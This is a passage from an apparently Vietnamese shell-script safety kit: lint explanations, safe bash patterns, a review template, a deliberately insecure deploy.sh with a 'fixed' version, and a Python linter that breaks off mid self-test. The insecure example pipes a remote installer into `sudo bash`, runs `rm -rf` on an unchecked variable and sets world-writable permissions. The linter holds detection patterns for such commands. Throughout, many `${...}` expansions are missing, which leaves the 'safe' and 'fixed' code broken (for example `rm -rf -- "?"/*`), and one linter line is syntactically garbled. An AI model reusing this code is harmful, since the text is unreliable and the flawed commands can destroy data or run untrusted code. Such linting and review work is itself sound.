tệp, kiểm tra mã băm SHA-256 cố định hoặc chữ ký số, đọc nội dung tệp, rồi mới chạy nó. ### EVAL_VAR Lệnh `eval "$cmd"` sẽ thực thi bất kỳ ký tự `;`, `$(...)` hoặc dấu huyền (backtick) nào nằm bên trong dữ liệu. Hãy xây dựng câu lệnh dưới dạng mảng: `cmd=(rsync -a -- "$src" "$dst"); "cmd[@]"`. Để điều hướng lệnh (dispatch), hãy dùng cấu trúc `case`. ### HARDCODED_SECRET Một chuỗi token, mật khẩu hoặc khóa viết trực tiếp trong script sẽ nằm lại trong lịch sử git, nhật ký CI (khi bật `set -x`) và kết quả lệnh `ps`. Hãy đọc bí mật từ biến môi trường hoặc trình quản lý bí mật (secret manager) và cho dừng sớm nếu thiếu: `TOKEN="?"`. Hãy xoay vòng (đổi mới) giá trị đã bị lộ; việc xóa dòng mã đó đi không làm nó biến mất khỏi lịch sử git. ## Mức MEDIUM ### NO_STRICT_MODE / NO_PIPEFAIL Nếu không có `set -e`, một câu lệnh bị lỗi sẽ bị bỏ qua và câu lệnh tiếp theo vẫn cứ chạy bình thường. Nếu không có `pipefail`, câu lệnh `build | tee log` vẫn báo thành công ngay cả khi bước build thất bại. Hãy dùng `set -euo pipefail` trong bash và `set -eu` trong POSIX sh. Lưu ý các lỗ hổng của nó: chế độ tự thoát khi lỗi (errexit) bị bỏ qua bên trong điều kiện `if`, `while`, các chuỗi lệnh nối bằng `&&`/`||` cùng các hàm được gọi từ bên trong chúng, và cả cú pháp `local x=$(cmd)` (xem bên dưới). ### UNQUOTED_VAR Các biểu thức `$var` và `$(cmd)` không đặt trong dấu ngoặc kép sẽ bị tách từ dựa theo biến `IFS` (khoảng trắng, tab, xuống dòng) và mỗi mảnh tách ra lại tiếp tục bị mở rộng theo ký tự đại diện (glob expansion). Lệnh `cp $src $dst` với `src="My File.txt"` sẽ sao chép nhầm hai tệp không tồn tại; lệnh `rm $f` với `f='*'` sẽ xóa sạch mọi thứ. Hãy đặt mọi biểu thức mở rộng vào trong dấu ngoặc kép; dùng `"$@"` cho toàn bộ đối số và `"arr[@]"` cho mảng. Những vị trí an toàn khi không có dấu ngoặc kép: vế phải của phép gán `x=$y`, bên trong `[[ ]]` (ngoại trừ vế phải của toán tử `==`/`=~` vì ở đó nó sẽ trở thành mẫu so khớp pattern), bên trong `(( ))`, và trong cấu trúc `case $x in`. ### CD_UNCHECKED Nếu lệnh `cd build` thất bại, toàn bộ phần còn lại của script sẽ chạy ngay tại thư mục hiện hành: `cd build; rm -rf *`. Hãy dùng `cd -- "$dir" || exit 1` hoặc bật chế độ nghiêm ngặt. Trong các vòng lặp, hãy dùng subshell: `(cd -- "$d" && make)`. ### LS_PARSING Vòng lặp `for f in $(ls *.log)` sẽ bị lỗi khi tên tệp có chứa khoảng trắng hoặc ký tự xuống dòng, đồng thời làm biểu thức đại diện (glob) bị chạy hai lần. Hãy dùng trực tiếp biểu thức glob: `for f in ./*.log; do [ -e "$f" ] || continue; ...; done`, hoặc dùng `find . -name '*.log' -print0 | while IFS= read -r -d '' f; do ...; done`. ### CHMOD_777 Các tệp và thư mục cho phép mọi người dùng đều có quyền ghi (world-writable) sẽ tạo điều kiện cho bất kỳ người dùng cục bộ hoặc dịch vụ bị xâm nhập nào thay thế mã nguồn hoặc dữ liệu. Hãy dùng quyền 755/644, hoặc 700/600 cho dữ liệu riêng tư, hoặc dùng cú pháp `u=rwX,g=rX,o=`. ### PREDICTABLE_TMP / NO_TRAP_CLEANUP (LOW) Một đường dẫn cố định như `/tmp/app.log` có thể bị một người dùng khác tạo sẵn từ trước dưới dạng liên kết tượng trưng (symlink) (khiến bạn vô tình ghi đè lên tệp đích của họ dưới quyền root) và gây xung đột khi có nhiều tiến trình chạy song song. Hãy dùng `mktemp`/`mktemp -d` và xóa tệp tạm khi kết thúc bằng `trap '...' EXIT`. ### LOCAL_MASKS_STATUS Cú pháp `local out=$(cmd)` trả về mã trạng thái của lệnh `local` (luôn là 0), vì vậy `set -e` và biến `$?` không bao giờ phát hiện được việc `cmd` đã thất bại. Điều tương tự cũng xảy ra với `export` và `readonly`. Hãy khai báo biến trước, rồi thực hiện phép gán ở dòng tiếp theo. ### SSH_STDIN_LOOP Vòng lặp `while read host; do ssh "$host" cmd; done < hosts.txt` sẽ dừng lại ngay sau máy chủ đầu tiên bởi vì lệnh `ssh` đã đọc hết phần còn lại của luồng đầu vào chuẩn (stdin). Hãy dùng `ssh -n` hoặc `< /dev/null`. Nguyên tắc tương tự cũng áp dụng cho `ffmpeg`, `docker exec -i` và bất kỳ công cụ nào khác tự động đọc dữ liệu từ stdin. ### TLS_DISABLED Các tùy chọn `curl -k`, `wget --no-check-certificate` và `StrictHostKeyChecking=no` sẽ tắt bỏ bước kiểm tra xác nhận bạn đang giao tiếp với đúng máy chủ đích. Hãy sửa lại gói chứng chỉ CA (CA bundle), ghim cố định khóa máy chủ (host key) vào tệp `known_hosts`, hoặc chỉ dùng `StrictHostKeyChecking=accept-new` cho lần kết nối đầu tiên trên các mạng nội bộ đáng tin cậy. ### BASHISM_IN_SH Khi chạy dưới `#!/bin/sh` (trỏ tới dash trên Debian/Ubuntu, hoặc busybox trên Alpine), những cú pháp sau đây sẽ gây lỗi: `[[ ]]`, toán tử `==` bên trong `[ ]`, từ khóa `function f`, mảng (arrays), lệnh `source`, `<<<`, `&>`, `$'...'`. Hãy chuyển dòng shebang sang `bash` hoặc sử dụng các cú pháp chuẩn POSIX tương ứng là `[ ]`, `=`, `.`, và các tham số vị trí. ## Mức LOW - NO_SHEBANG: shell hiện tại của người gọi sẽ được dùng để chạy script; hành vi sẽ khác nhau giữa bash, zsh và sh. - READ_WITHOUT_R: lệnh `read` không có cờ `-r` sẽ nuốt mất các dấu gạch chéo ngược (backslash); nếu không có `IFS=` thì nó sẽ tự cắt bỏ khoảng trắng ở đầu và cuối dòng. - BACKTICKS: dấu huyền rất khó lồng nhau và khó kết hợp với dấu ngoặc kép; hãy dùng `$(...)`. ## Các vấn đề bộ linter không quét được (cần rà soát thủ công) - Đầu vào không đáng tin cậy đi tới câu lệnh sql, ssh hoặc đường dẫn tệp (nguy cơ tiêm lệnh injection, duyệt thư mục ngược `../`); tên tệp bắt đầu bằng dấu gạch ngang `-` (hãy dùng `--`). - Điều kiện tranh chấp (race condition) trên các tệp khóa (lock files); hãy dùng `flock`. - Thiếu lệnh `wait` cho các tiến trình chạy ngầm, và các tiến trình mồ côi không được dọn dẹp khi script thoát. - Sự khác biệt về thiết lập vùng (locale) và bộ công cụ giữa các hệ điều hành (GNU so với BSD ở các lệnh `sed -i`, `date -d`, `readlink -f` trên macOS). - Lộ bí mật vào nhật ký khi bật `set -x`; hãy tắt chế độ xtrace xung quanh các đoạn mã xử lý bí mật. FILE:references/safe-patterns.md # Các mẫu viết mã an toàn cho bash và sh script ## Phần đầu tệp (Header) ```bash #!/usr/bin/env bash # What it does, how to call it, what it needs (env vars, tools). set -euo pipefail IFS=$'\n\t' # optional: no splitting on spaces readonly SCRIPT_DIR="$(cd -- "$(dirname -- "BASH_SOURCE[0]")" && pwd)" ``` Đối với POSIX sh: dùng `set -eu` (tùy chọn `pipefail` có hỗ trợ trong dash 0.5.11+ và busybox, nhưng không phải mọi môi trường đều có). ## Dừng chương trình kèm thông báo lỗi ```bash die() { printf 'error: %s\n' "$*" >&2; exit 1; } command -v jq >/dev/null 2>&1 || die "jq is required" [ -d "$TARGET" ] || die "no such directory: $TARGET" ``` ## Xử lý đối số đầu vào ```bash usage() { echo "usage: $0 [-n] <release>" >&2; exit 2; } dry_run=0 while getopts ":n" opt; do case $opt in n) dry_run=1 ;; *) usage ;; esac done shift $((OPTIND - 1)) release="-"; [ -n "$release" ] || usage ``` ## Tệp tạm và dọn dẹp ```bash tmpdir="$(mktemp -d)" cleanup() { rm -rf -- "$tmpdir"; } trap cleanup EXIT trap 'exit 130' INT TERM # EXIT trap still runs ``` ## Các bước xóa/phá hủy dữ liệu ```bash target="?WEB_ROOT is empty" case $target in /|/usr|/etc|"$HOME") die "refusing to clean $target" ;; esac run() { if [ "$dry_run" -eq 1 ]; then echo "+ $*"; else "$@"; fi; } run rm -rf -- "$target"/* ``` ## Vòng lặp duyệt qua tệp và dòng văn bản ```bash for f in "$dir"/*.csv; do [ -e "$f" ] || continue; process "$f"; done find "$dir" -type f -name '*.log' -print0 | while IFS= read -r -d '' f; do gzip -- "$f"; done while IFS= read -r line || [ -n "$line" ]; do echo "$line"; done < input.txt # last line without newline ``` ## Biểu diễn câu lệnh dưới dạng dữ liệu (mảng) ```bash args=(--archive --delete -- "$src/" "$dst/") [ "$dry_run" -eq 1 ] && args=(--dry-run "args[@]") rsync "args[@]" ``` ## Xử lý bí mật (Secrets) - Đọc từ biến môi trường hoặc từ tệp được phân quyền 600: `token="$(<"$CRED_FILE")"`. - Truyền vào các công cụ thông qua luồng stdin hoặc biến môi trường, tuyệt đối không truyền qua đối số dòng lệnh (vì sẽ bị lộ khi xem bằng lệnh `ps`): `curl -H @- <<<"Authorization: Bearer $token"`. - Đặt `set +x` bao quanh đoạn mã xử lý bí mật. ## Tải tệp từ mạng ```bash curl -fsSL --retry 3 -o "$tmpdir/tool.tgz" "$URL" echo "$SHA256 $tmpdir/tool.tgz" | sha256sum -c - ``` Cờ `-f` giúp báo lỗi ngay khi gặp mã lỗi HTTP thay vì lưu trang thông báo lỗi thành tệp kết quả. ## Khóa tiến trình (Locking) và tính lũy đẳng (Idempotency) ```bash exec 9>/var/lock/deploy.lock flock -n 9 || die "another deploy is running" mkdir -p -- "$dir" # no error if it exists ln -sfn -- "$release_dir" current # atomic switch of a symlink ``` ## Ghi nhật ký (Logging) ```bash log() { printf '%s %s\n' "$(date -u +%FT%TZ)" "$*" >&2; } ``` Hãy gửi nhật ký ra luồng lỗi chuẩn (stderr) để luồng đầu ra chuẩn (stdout) luôn sạch sẽ dành cho dữ liệu. ## Kiểm thử script một cách an toàn 1. Chạy `bash -n script.sh` (chỉ kiểm tra cú pháp), `shellcheck script.sh`, `python3 scripts/shell_lint.py script.sh`. 2. Chạy với cờ chạy thử (dry-run), sau đó chạy trong một container dùng một lần: `docker run --rm -v "$PWD":/w -w /w bash:5 bash script.sh`. 3. Chạy theo dõi luồng thực thi một lần bằng `bash -x script.sh` (sau khi đã tắt/bỏ các bí mật thật). FILE:templates/shell-review.md # Báo cáo rà soát Shell script: <tên script> **Môi trường chạy:** <cron trên máy chủ web-01 dưới quyền root / GitHub Actions ubuntu-24.04 / Docker entrypoint (Alpine, busybox sh)> **Shell:** <bash 5.2 / sh (dash)> **Đầu vào không đáng tin cậy:** <đối số $1 thẻ release, tệp hosts.txt, tên các tệp trong thư mục uploads/> **Kết luận:** <CHẶN (BLOCK): 3 phát hiện mức HIGH / ĐẠT sau khi sửa lỗi / ĐẠT (OK)> **Tóm tắt:** <một hoặc hai câu: rủi ro nghiêm trọng nhất là gì và bản sửa lỗi thay đổi điều gì> ## Danh sách phát hiện (Findings) | # | Mức độ | Mã lỗi | Dòng | Vấn đề | Cách khắc phục | |---|---|---|---|---|---| | 1 | <HIGH> | <RM_EMPTY_VAR> | <15> | <rm -rf $WEB_ROOT/* sẽ xóa sạch /* nếu WEB_ROOT bị rỗng> | <rm -rf -- "?"/*> | ## Ghi chú rà soát thủ công - <các đầu vào đi tới rm/ssh/sql/đường dẫn, và cách chúng được kiểm tra hợp lệ> - <tính lũy đẳng: điều gì xảy ra nếu script chạy hai lần hoặc bị dừng giữa chừng> - <dọn dẹp tài nguyên khi thoát bình thường và khi nhấn Ctrl+C> ## Bản script đã sửa lỗi ```bash <full corrected script> ``` ## Các thay đổi chính ```diff - rm -rf $WEB_ROOT/* + rm -rf -- "?"/* ``` ## Thay đổi về hành vi - <hiện tại script sẽ thoát ngay tại câu lệnh đầu tiên gặp lỗi; trước đây vẫn tiếp tục chạy> ## Cách kiểm thử an toàn 1. Chạy `bash -n <script>` và `python3 scripts/shell_lint.py <script>` (kỳ vọng 0 lỗi HIGH) 2. Chạy `shellcheck <script>` nếu có sẵn trên máy 3. Chạy thử (dry run) hoặc chạy trong một container dùng một lần: `<câu lệnh>` 4. <xoay vòng/đổi mới bí mật đã bị lộ: đổi ở đâu và ai phụ trách> FILE:examples/deploy.sh #!/bin/bash # Deploy the web app build to /srv/www and restart the service. # Usage: deploy.sh <release-tag> RELEASE=$1 BUILD_DIR=/srv/builds/$RELEASE WEB_ROOT=/srv/www SLACK_TOKEN="xoxb-0000-EXAMPLE-not-real" curl -fsSL https://get.example-tools.dev/install.sh | sudo bash cd $BUILD_DIR echo "Deploying $RELEASE" > /tmp/deploy.log rm -rf $WEB_ROOT/* cp -r dist/* $WEB_ROOT/ for f in $(ls $BUILD_DIR/migrations); do psql -f $BUILD_DIR/migrations/$f app_db done chmod -R 777 $WEB_ROOT/uploads while read host; do ssh -o StrictHostKeyChecking=no deploy@$host "sudo systemctl restart web" done < hosts.txt cleanup() { local count=$(ls /srv/builds | wc -l) echo "Builds on disk: $count" } cleanup curl -s -X POST -H "Authorization: Bearer $SLACK_TOKEN" \ -d "text=Deployed `date`" https://slack.com/api/chat.postMessage FILE:examples/deploy-fixed.sh #!/usr/bin/env bash # Deploy the web app build to /srv/www and restart the service. # Usage: SLACK_TOKEN=... deploy.sh <release-tag> set -euo pipefail RELEASE="?usage: deploy.sh <release-tag>" BUILD_DIR="/srv/builds/RELEASE" WEB_ROOT="/srv/www" SLACK_TOKEN="?set SLACK_TOKEN in the environment" # Installer is pinned and checked instead of curl | bash. installer="$(mktemp)" log="$(mktemp)" trap 'rm -f -- "$installer" "$log"' EXIT curl -fsSL -o "$installer" https://get.example-tools.dev/install-1.4.2.sh echo "3b1f0c9e2d4a5b6c7d8e9f00112233445566778899aabbccddeeff0011223344 $installer" | sha256sum -c - sudo bash "$installer" cd -- "$BUILD_DIR" echo "Deploying RELEASE" > "$log" rm -rf -- "?"/* cp -r dist/. "$WEB_ROOT/" for f in "$BUILD_DIR"/migrations/*.sql; do [ -e "$f" ] || continue psql -v ON_ERROR_STOP=1 -f "$f" app_db done chmod -R u=rwX,g=rX,o= "$WEB_ROOT/uploads" while IFS= read -r host; do ssh -n -o StrictHostKeyChecking=yes "deploy@host" "sudo systemctl restart web" done < hosts.txt report_builds() { local count count="$(find /srv/builds -mindepth 1 -maxdepth 1 -type d | wc -l)" echo "Builds on disk: count" } report_builds curl -fsS -X POST -H "Authorization: Bearer SLACK_TOKEN" \ --data-urlencode "text=Deployed RELEASE at $(date -u +%FT%TZ)" https://slack.com/api/chat.postMessage FILE:scripts/shell_lint.py #!/usr/bin/env python3 """Shell script safety linter (Python 3 standard library only). Reads a bash or POSIX sh script and flags the mistakes that cause data loss, security holes or silent failures: no strict mode, rm -rf on a variable that may be empty, curl | sh, eval on variables, unquoted expansions (word splitting and globbing), unchecked cd, parsing ls, chmod 777, hardcoded secrets, predictable /tmp files, mktemp without a cleanup trap, read without -r, ssh eating a while-read loop's input, local/export masking a failed command substitution, TLS or host-key checks turned off, backticks and bashisms in /bin/sh. It is a fast first pass, not a full parser: heredoc bodies are skipped, quotes, comments, [[ ]], (( )), assignments and case words are understood, and every finding names the line and a concrete fix. Silence a finding on one line with a trailing comment "# shell-lint: disable=CODE[,CODE]". Usage: python3 shell_lint.py script.sh [more.sh ...] [--json] [--min-severity MEDIUM] [--ignore CODE,CODE] python3 shell_lint.py --self-test Exit codes: 0 = no HIGH findings, 1 = at least one HIGH finding, 2 = unreadable input. """ import argparse, json, re, sys SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2, "INFO": 3} SECRET_NAME = re.compile(r"[A-Z0-9_]*(PASSWORD|PASSWD|TOKEN|SECRET|API_?KEY|ACCESS_KEY|PRIVATE_KEY)[A-Z0-9_]*") FIXES = { "NO_SHEBANG": "Add '#!/usr/bin/env bash' (or '#!/bin/sh' for POSIX) as line 1 so the right shell runs it.", "NO_STRICT_MODE": "Add 'set -euo pipefail' after the shebang (POSIX sh: 'set -eu') so failures stop the script.", "NO_PIPEFAIL": "Add 'set -o pipefail' so 'cmd | tee log' fails when cmd fails.", "RM_EMPTY_VAR": "Guard the variable: rm -rf -- \"?VAR is empty/\"... and quote it; never build rm paths from unchecked input.", "RM_ROOT": "Never rm the filesystem root or /*; point at a specific directory.", "CURL_PIPE_SHELL": "Download to a file, verify a checksum or signature, read it, then run it.", "EVAL_VAR": "Avoid eval; use arrays for commands (cmd=(ls -l \"$dir\"); \"cmd[@]\") or a case statement.", "UNQUOTED_VAR": "Quote expansions: \"$var\", \"arr[@]\", \"$(cmd)\" to stop word splitting and globbing.", "CD_UNCHECKED": "Use 'cd \"$dir\" || exit 1' (or enable set -e) so later commands do not run in the wrong directory.", "LS_PARSING": "Use a glob (for f in ./*.log) or find -print0 | while IFS= read -r -d '' f instead of parsing ls/find output.", "BACKTICKS": "Use $(...) instead of backticks; it nests and quotes predictably.", "CHMOD_777": "Grant only what is needed (755 for dirs/executables, 644 for files, 600 for secrets).", "HARDCODED_SECRET": "Read the secret from the environment or a secret manager (\"?\"), rotate the exposed value.", "PREDICTABLE_TMP": "Use tmp=$(mktemp) or tmpdir=$(mktemp -d) instead of a fixed /tmp name (symlink and race attacks).", "NO_TRAP_CLEANUP": "Add trap 'rm -rf -- \"$tmpdir\"' EXIT right after mktemp.", "READ_WITHOUT_R": "Use 'read -r' (and IFS= read -r line) so backslashes and leading spaces survive.", "LOCAL_MASKS_STATUS": "Split it: 'local out; out=$(cmd)' so set -e and $? see the command's failure.", "TLS_DISABLED": "Remove -k/--insecure/--no-check-certificate/StrictHostKeyChecking=no; fix the CA bundle or pin the host key.", "SSH_STDIN_LOOP": "Use 'ssh -n' (or ssh ... < /dev/null) inside while-read loops; otherwise ssh eats the rest of the input.", "BASHISM_IN_SH": "Either change the shebang to bash or use the POSIX form ([ ], =, . file, no arrays).", } class Finding: def __init__(self, sev, code, line, snippet, problem): self.sev, self.code, self.line, self.snippet, self.problem = sev, code, line, snippet, problem def as_dict(self): return {"severity": self.sev, "code": self.code, "line": self.line, "snippet": self.snippet, "problem": self.problem, "fix": FIXES.get(self.code, "")} def strip_comment(line): """Remove an unquoted comment. '#' starts a comment only at the start of a word.""" state, i = None, 0 while i < len(line): c = line[i] if state is None: if c == "\\": i += 2; continue if c in "'\"`": state = c elif c == "#" and (i == 0 or line[i - 1] in " \t;|&("): return line[:i].rstrip() elif state == "'": if c == "'": state = None else: if c == "\\": i += 2; continue if c == state: state = None i += 1 return line def logical_lines(text): """Yield (line_no, code_without_comment, raw_line, disabled_codes); heredoc bodies skipped.""" lines = text.split("\n") pending = [] # heredoc terminators waiting, in order out = [] for no, raw in enumerate(lines, 1): if pending: delim, dash = pending[0] body = raw.lstrip("\t") if dash else raw if body == delim: pending.pop(0) continue m = re.search(r"#\s*shell-lint:\s*disable=([A-Z_,\s]+)", raw) disabled = {c.strip() for c in m.group(1).split(",")} if m else set() code = strip_comment(raw) for hm in re.finditer(r"<<(-?)\s*(['\"]?)([A-Za-z_][A-Za-z0-9_]*)\2", code): if code[hm.start():hm.start() + 3] == "<<<": continue pending.append((hm.group(3), hm.group(1) == "-")) out.append((no, code, raw, disabled)) return out def match_paren(s, i): """s[i] == '(' ; return index of the matching ')' respecting quotes, or len(s).""" depth, state, j = 0, None, i while j < len(s): c = s[j] if state is None: if c == "\\": j += 2; continue if c in "'\"": state = c elif c == "(": depth += 1 elif c == ")": depth -= 1 if depth == 0: return j elif c == state: state = None elif c == "\\" and state == '"': j += 1 j += 1 return len(s) def unquoted_expansions(code): """Return names of $var / ... / $(...) / $@ expansions that are not inside quotes and not in a context where splitting cannot happen ([[ ]], (( )), assignments, case word).""" found = [] stripped = code.strip() if re.match(r"case\s", stripped): return found state, i, dbl_brackets, arith = None, 0, 0, 0 n = len(code) def word_start(k): while k > 0 and code[k - 1] not in " \t;|&(": k -= 1 return k while i < n: c = code[i] if state == "'": if c == "'": state = None i += 1; continue if c == "\\": i += 2; continue if state is None and c == "'": state = "'"; i += 1; continue if c == '"': state = None if state == '"' else '"' i += 1; continue if state is None and code.startswith("[[", i) and (i == 0 or code[i - 1] in " \t;&|!("): dbl_brackets += 1; i += 2; continue if state is None and code.startswith("]]", i) and dbl_brackets: dbl_brackets -= 1; i += 2; continue if state is None and code.startswith("((", i) and (i == 0 or code[i - 1] in " \t;&|!"): end = match_paren(code, i) i = end + 1; continue if c == "`": end = code.find("`", i + 1) i = (end if end != -1 else n) + 1; continue if c == "$" and i + 1 < n: nxt = code[i + 1] if code.startswith("$((", i): end = match_paren(code, i + 1) i = end + 1; continue if nxt == "(": end = match_paren(code, i + 1) inner = code[i + 2:end] found.extend(unquoted_expansions(inner)) if state is None and not dbl_brackets and not arith: ws = word_start(i) if not re.match(r"[A-Za-z_][A-Za-z0-9_]*(\[[^\]]*\])?\+?=", code[ws:i + 1]): found.append("$(" + inner.strip()[:20] + ")") i = end + 1; continue m = re.match(r"\$(\{[^}]*\}|[A-Za-z_][A-Za-z0-9_]*|[@*]|[0-9])", code[i:]) if m: tok = m.group(0) if state is None and not dbl_brackets: ws = word_start(i) is_assign = re.match(r"[A-Za-z_][A-Za-z0-9_]*(\[[^\]]*\])?\+?=", code[ws:i + 1]) if not is_assign and not tok.startswith("found.append(tok) i += len(tok); continue i += 1 return found def commands(code): """Split a line into simple commands on ; && || | (outside quotes).""" parts, cur, state, i = [], "", None, 0 while i < len(code): c = code[i] if state is None and c in "'\"": state = c elif state and c == state: state = None if state is None and c in ";|&": parts.append(cur); cur = "" while i + 1 < len(code) and code[i + 1] in ";|&": i += 1 i += 1; continue cur += c; i += 1 parts.append(cur) return [p.strip() for p in parts if p.strip()] def lint(text, name="script"): findings = [] lines = logical_lines(text) first = text.split("\n", 1)[0] shebang = first if first.startswith("#!") else "" is_posix_sh = bool(re.search(r"(^#!\s*/bin/sh\b|/env\s+sh\b|/bin/dash\b)", shebang)) all_code = "\n".join(c for _, c, _, _ in lines) strict_e = bool(re.search(r"(^|\n)\s*set\s+(-[a-zA-Z]*e[a-zA-Z]*\b|-o\s+errexit)", all_code)) or bool(re.search(r"\s-[a-z]*e", shebang)) pipefail = "pipefail" in all_code uses_pipes = "|" in all_code.replace("||", "") uses_mktemp = "mktemp" in all_code has_trap = bool(re.search(r"(^|\n)\s*trap\s", all_code)) def add(sev, code, no, snippet, problem, disabled=frozenset()): if code not in disabled: findings.append(Finding(sev, code, no, snippet.strip()[:80], problem)) if not shebang: add("LOW", "NO_SHEBANG", 1, first, "no shebang line; the caller's shell decides how this runs") if not strict_e: add("MEDIUM", "NO_STRICT_MODE", 1, shebang or first, "no 'set -e' (errexit): a failed command does not stop the script") elif uses_pipes and not pipefail and not is_posix_sh: add("LOW", "NO_PIPEFAIL", 1, shebang, "pipes are used but pipefail is off: only the last command's status counts") if uses_mktemp and not has_trap: no = next((n for n, c, _, _ in lines if "mktemp" in c), 1) add("LOW", "NO_TRAP_CLEANUP", no, next(c for n, c, _, _ in lines if n == no), "mktemp is used but nothing removes the temp file on exit or error") read_loop = 0 for no, code, raw, dis in lines: if not code.strip(): continue if re.search(r"(^|[;&|\s])while\b.*\bread\b", code): read_loop += 1 if read_loop and re.search(r"(^|[;&|\s])ssh\s", code) and not re.search(r"\bssh\s+(-\w+\s+)*-\w*n\b|<\s*/dev/null", code): add("MEDIUM", "SSH_STDIN_LOOP", no, code, "ssh inside a while-read loop reads the loop's stdin, so the loop stops after the first item", dis) if read_loop and re.search(r"(^|[;&|\s])done\b", code): read_loop -= 1 # curl | sh if re.search(r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+(-\S+\s+)*)?(ba|z|da|k)?sh\b", code): add("HIGH", "CURL_PIPE_SHELL", no, code, "remote script piped straight into a shell: no review, no integrity check, partial downloads run", dis) if re.search(r"\b(curl\b[^|;]*\s(-k|--insecure)\b|wget\b[^|;]*--no-check-certificate|StrictHostKeyChecking=no)", code): add("MEDIUM", "TLS_DISABLED", no, code, "certificate or host-key verification is turned off (man-in-the-middle risk)", dis) if re.search(r"(^|[;&|(\s])eval\s+.*\$", code): add("HIGH", "EVAL_VAR", no, code, "eval on a string built from variables runs any shell code an attacker or odd filename puts in it", dis) if re.search(r"\bchmod\s+(-[A-Za-z]+\s+)*0?777\b|\bchmod\s+(-[A-Za-z]+\s+)*[augo]*\+rwx\b", code) and re.search(r"777|a\+rwx|o\+rwx", code): add("MEDIUM", "CHMOD_777", no, code, "world-writable permissions let any local user change the files", dis) if "`" in code: add("LOW", "BACKTICKS", no, code, "legacy backtick command substitution", dis) m = re.match(r"\s*(export\s+|readonly\s+|local\s+|declare\s+(-\w+\s+)*)?(" + SECRET_NAME.pattern + r")=(['\"]?)([^$'\"\s][^'\"\s]{3,)", code) if m: val = m.group(6) masked = val[:2] + "*" * max(3, len(val) - 4) + val[-2:] add("HIGH", "HARDCODED_SECRET", no, code.replace(val, masked), f"{m.group(3)} has a literal value in the script (ends up in git, logs and ps output)", dis) if re.match(r"\s*(local|export|declare|readonly)\s+(-\w+\s+)*[A-Za-z_][A-Za-z0-9_]*=\"?\$\(", code): add("MEDIUM", "LOCAL_MASKS_STATUS", no, code, "the builtin's exit status (0) hides a failure of the command substitution, even under set -e", dis) if re.search(r"(^|[^\w.-])/tmp/[A-Za-z0-9_.${}-]+", code) and "mktemp" not in code: add("MEDIUM", "PREDICTABLE_TMP", no, code, "fixed /tmp path: another user can pre-create or symlink it, and parallel runs collide", dis) if re.search(r"\bfor\s+\w+\s+in\s+(\$\(|`)\s*(ls|find)\b", code) or re.search(r"\bls\b[^|]*\|\s*(while|xargs)\b", code): add("MEDIUM", "LS_PARSING", no, code, "parsing ls/find output breaks on spaces, newlines and glob characters in filenames", dis) for cmd in commands(code): words = cmd.split() if not words: continue w0 = words[0] while w0 in ("sudo", "command", "builtin", "exec", "!", "while", "until", "if", "then", "do", "else", "elif", "{", "(") and len(words) > 1: words = words[1:]; w0 = words[0] if w0 == "rm": args = words[1:] rec = any(re.match(r"-[a-zA-Z]*[rR]", a) or a == "--recursive" for a in args) if any(a.strip("'\"") in ("/", "/*") for a in args): add("HIGH", "RM_ROOT", no, cmd, "rm targets / or /*", dis) for a in args: if a.startswith("-") and a != "--": continue if "$" in a and not re.search(r"\$\{[A-Za-z_][A-Za-z0-9_]*:\?", a): a_clean = a.strip("'\"") if re.match(r"\$\{?[A-Za-z_][A-Za-z0-9_]*\}?(/|\"?$)", a_clean) or rec: add("HIGH" if rec else "MEDIUM", "RM_EMPTY_VAR", no, cmd, f"rm{' -r' if rec else ''} on {a}: if the variable is empty or unset this deletes the wrong path (e.g. '/')", dis) break if w0 == "cd" and not strict_e: if not re.search(re.escape(cmd) + r"\s*(\|\||&&)", code) and not re.search(r"(\|\||&&)\s*" + re.escape(cmd), code): add("MEDIUM", "CD_UNCHECKED", no, cmd, "cd may fail and the following commands then run in the wrong directory", dis) if w0 == "read": opts = [a for a in words[1:] if a.startswith("-")] if not any("r" in o for o in opts): add("LOW", "READ_WITHOUT_R", no, cmd, "read without -r mangles backslashes", dis) exps = unquoted_expansions(code) if exps: uniq = list(dict.fromkeys(exps)) shown = ", ".join(uniq[:4]) + (" ..." if len(uniq) > 4 else "") only_echo = re.match(r"\s*(echo|printf)\s+[^|>]*$", code) and not any(e in ("$@", "$*") for e in uniq) if only_echo: add("LOW", "UNQUOTED_VAR", no, code, "unquoted " + shown + " in echo/printf: spacing collapses and * expands", dis) else: add("MEDIUM", "UNQUOTED_VAR", no, code, "unquoted " + shown + ": word splitting and glob expansion", dis) if is_posix_sh: bash = [] if re.search(r"(^|[\s;&|!])\[\[\s", code): bash.append("[[ ]]") if re.search(r"(^|[\s;&|])\[\s[^]]*\s==\s", code): bash.append("== in [ ]") if re.match(r"\s*function\s+\w+", code): bash.append("function keyword") if re.search(r"\b[A-Za-z_]\w*=\(", code): bash.append("array") if re.match(r"\s*source\s", code): bash.append("source") if "<<<" in code: bash.append("here-string") if re.search(r"&>", code): bash.append("&>") if re.search(r"\$'", code): bash.append("$'...'") if bash: add("MEDIUM", "BASHISM_IN_SH", no, code, "bash-only syntax under #!/bin/sh (" + ", ".join(bash) + "); dash and busybox sh will fail", dis) findings.sort(key=lambda f: (SEV_ORDER[f.sev], f.line, f.code)) return findings def render_md(name, findings): counts = {s: sum(1 for f in findings if f.sev == s) for s in SEV_ORDER} out = [f"# Shell lint: {name}", "", f"Findings: {len(findings)} (HIGH {counts['HIGH']}, MEDIUM {counts['MEDIUM']}, LOW {counts['LOW']})", ""] if not findings: out.append("No findings.") return "\n".join(out) out += ["| Severity | Code | Line | Snippet | Problem |", "|---|---|---|---|---|"] for f in findings: snip = f.snippet.replace("|", "\\|").replace("`", "'") out.append(f"| {f.sev} | {f.code} | {f.line} | `{snip}` | {f.problem.replace('|', '/')} |") out += ["", "## Fixes", ""] for code in dict.fromkeys(f.code for f in findings): out.append(f"- {code}: {FIXES[code]}") return "\n".join(out) # ---------------------------------------------------------------- self-test def _codes(src): return [f.code for f in lint(src)] def self_test(): S = "#!/usr/bin/env bash\nset -euo pipefail\n" cases = [ ("clean script has no findings", S + 'dir="$1"\ncp -- "$dir/a" "$dir/b"\n', lambda c: c == []), ("missing shebang", 'set -eu\necho "hi"\n', lambda c: "NO_SHEBANG" in c), ("missing strict mode", "#!/bin/bash\necho ok\n", lambda c: "NO_STRICT_MODE" in c), ("set -e without pipefail and a pipe", "#!/bin/bash\nset -e\nmake | tee log\n", lambda c: "NO_PIPEFAIL" in c), ("set -o errexit counts as strict", "#!/bin/bash\nset -o errexit\nset -o pipefail\necho ok\n", lambda c: c == []), ("rm -rf $VAR/ is HIGH", S + 'rm -rf "$BUILD_DIR"/\n', lambda c: 